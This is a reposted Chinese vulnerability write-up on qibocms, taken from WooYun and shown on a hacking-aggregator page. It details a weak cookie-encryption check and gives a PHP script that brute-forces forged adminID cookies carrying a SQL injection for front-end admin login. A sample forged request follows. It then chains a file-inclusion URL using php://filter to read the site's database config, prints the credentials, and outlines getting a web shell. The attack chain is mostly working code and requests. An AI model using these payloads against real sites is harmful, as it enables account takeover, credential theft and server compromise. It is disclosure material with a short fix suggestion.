记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

qibocms某功能缺陷可致前台管理登录

2014-08-24 20:00

0x1 前台admin登录

inc/function.inc.php:

function mymd5($string,$action="EN",$rand=''){ //字符串加密和解密 

global $webdb;

if($action=="DE"){//处理+号在URL传递过程中会异常

$string = str_replace('QIBO|ADD','+',$string);

}

$secret_string = $webdb[mymd5].$rand.'5*j,.^&;?.%#@!'; //绝密字符串,可以任意设定

if(!is_string($string)){

$string=strval($string);

}

if($string==="") return "";

if($action=="EN") $md5code=substr(md5($string),8,10); //截取明文的md5 hash 10位

else{

$md5code=substr($string,-10);

$string=substr($string,0,strlen($string)-10);

}

//$key = md5($md5code.$_SERVER["HTTP_USER_AGENT"].$secret_string);

$key = md5($md5code.$secret_string); //$md5code 随明文改变而改变,因而$key也是变化的

$string = ($action=="EN"?$string:base64_decode($string));

$len = strlen($key);

$code = "";

for($i=0; $i<strlen($string); $i++){

$k = $i%$len;

$code .= $string[$i]^$key[$k]; //按位异或

}

$code = ($action == "DE" ? (substr(md5($code),8,10)==$md5code?$code:NULL) : base64_encode($code)."$md5code"); //解密过程会校验md5值

if($action=="EN"){//处理+号在URL传递过程中会异常

$code = str_replace('+','QIBO|ADD',$code);

}

return $code;

}

加密函数就是一个异或加密,参与异或的密钥是变化的,同时做了HMAC验证防止了篡改,总的来说安全性还是可以的。但函数实现HMAC的是 substr(md5($string),8,10),即知道了明文就知道了校验码。 那可不可以构造密文来利用呢?答案是可以的。由于不知道异或的密钥,只能暴力破解。异或密钥为32位md5,因而每一位就有16种可能(0-9,a-f), 那么N位明文可能的加密结果就有16的N次方种。翻代码找到一处可以利用的地方

common.inc.php: 208-213

//$_COOKIE["adminID"]是后台登录后生成的,用于前台同步登录。

if($_COOKIE["adminID"]&&$detail=mymd5($_COOKIE["adminID"],'DE',$onlineip)){ //我们构造 1'# 的密文提交

unset($_uid,$_username,$_password);

list($_uid,$_username,$_password)=explode("\t",$detail); //当解密成功后,$_uid="1'#";

$lfjdb=$db->get_one("SELECT * FROM {$pre}memberdata WHERE uid='$_uid' AND username='$_username'");//成功取到uid=1的记录,基本上就是admin

}

没有验证password,所以直接就能以admin身份登陆前台。这里我们的明文只有短短的3位(1'#),对应4096种密文。

<?php

$str = "1'#";

$key = "0123456789abcdef";

for ($i = 0; $i < strlen($key); $i++) {

$a[] = $str[0] ^ $key[$i];

$b[] = $str[1] ^ $key[$i];

$c[] = $str[2] ^ $key[$i];

}

for ($i = 0; $i < 16; $i++) {

for ($j = 0; $j < 16; $j++) {

for ($k = 0; $k < 16; $k++) {

$result[] = $a[$i] . $b[$j] . $c[$k];

}

}

}

file_exists('cookie.txt') && unlink('cookie.txt');

foreach ($result as $v)

file_put_contents('cookie.txt', urlencode(str_replace('+', 'QIBO|ADD', base64_encode($v))) . substr(md5($str), 8, 10) . "\r\n", FILE_APPEND);

?>

最多请求4096次,还能接受。burp 跑一下也就分分钟。

image001.png

GET /member/index.php HTTP/1.1

Accept: */*

Referer: http://v7.qibosoft.com/

Accept-Language: zh-CN

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727)

Accept-Encoding: gzip, deflate

Host: v7.qibosoft.com

Proxy-Connection: Keep-Alive

Cookie: adminID=U0QXcdb8c28d5d

X-Forwarded-For: 173.194.121.28

Connection: close

1.png



0x2 前台getshell(整站系统)

以admin登录后,编辑文章,模板选择 template/default/list.htm ,模板解析是直接require的。而 template/default/list.htm 中有一句

if($listdb_moresort){@include("$bigsortTPL");}

$listdb_moresort 和 $bigsortTPL 都可以通过$_GET、$_POST注册。于是可以文件包含了。

2.png

漏洞证明:

http://v7.qibosoft.com/bencandy.php?fid=3&id=665&listdb_moresort=1&bigsortTPL=php://filter/read=convert.base64-encode/resource=data/config.php

成功读取data/mysql_config.php

3.png

<?php



/**

* 以下变量需根据您的服务器说明档修改

*/

$dbhost = 'localhost'; // 数据库服务器(一般不必改)

$dbuser = 'v7'; // 数据库用户名

$dbpw = 'v7v7'; // 数据库密码

$dbname = 'v7'; // 数据库名

$pre='qibosoft_'; // 网站表区分符



$database = 'mysql'; // 数据库类型(一般不必改)

$pconnect = 0; // 数据库是否持久连接(一般不必改)

$dbcharset = ''; // 数据库编码,如果出现网页乱码,你可以尝试改为gbk或latin1或utf8或big5,即可解决



?>

由于url_allow_include=Off,RFI变LFI。只能传个图片然后本地包含。官方demo已shell:

4.png

修复方案:

加强消息验证码复杂度,比如引入$webdb[mymd5].

知识来源: www.wooyun.org/bugs/wooyun-2014-072994

阅读:91518 | 评论:0 | 标签:cms

想收藏或者和大家分享这篇好文章→复制链接地址

“qibocms某功能缺陷可致前台管理登录”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云